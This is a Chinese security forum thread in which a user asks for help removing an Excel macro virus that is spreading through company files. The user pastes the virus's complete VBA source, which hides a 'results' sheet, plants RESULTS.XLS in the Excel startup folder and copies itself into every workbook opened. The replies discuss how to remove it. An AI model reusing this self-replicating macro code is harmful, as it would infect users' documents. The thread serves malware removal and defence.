吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3921|回复: 7
收起左侧

Excel宏病毒RESULTS.XLS求助

[复制链接]
aa7088414 发表于 2022-7-30 18:51
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
    哎~~   公司里突然出现了一个病毒,附加在Excel文件的RESULTS模块里,然后平时文件还是加密的,杀毒软件也无可奈何。之前挨个文件手动删除过RESULTS模块,也删除了RESULTS.XLS文件,但总有漏网之鱼。因为文件是加密的,上传了也打不开,就不上传文件了,我把RESULTS模块的代码附上,请各位大佬帮忙看看。代码看起来不是很难,但平时文件是加密的,所以不好杀毒,解密服务器有杀毒软件,带毒无法解密。。很愁人。在此谢过各位。
[Visual Basic] 纯文本查看 复制代码



Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub



发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| aa7088414 发表于 2022-7-30 19:04
求个专杀
 楼主| aa7088414 发表于 2022-8-6 12:35
86577273 发表于 2022-11-26 15:19
gridding 发表于 2023-2-17 09:08
跟我一样的,现在解决了吗?
放羊的狼 发表于 2023-2-17 10:45
不知道你的文件加密指的是什么,如果能用代码打开并扫描模块的话,可以遍历每个工作簿中的标准模块移除方法进行移除VBComponents.Remove,想改的话也可以改,方式很多,不知道能不能帮到你,其实宏病毒大概也是用这种方式写到文件里的,我就用这种方法自动修改的窗体、事件、标准模块里的代码。
zzglxl 发表于 2023-3-11 15:15
怎么中的呢?下载别人的EXCEL文件了?
头像被屏蔽
fei5788 发表于 2023-3-27 17:23
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 09:28

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表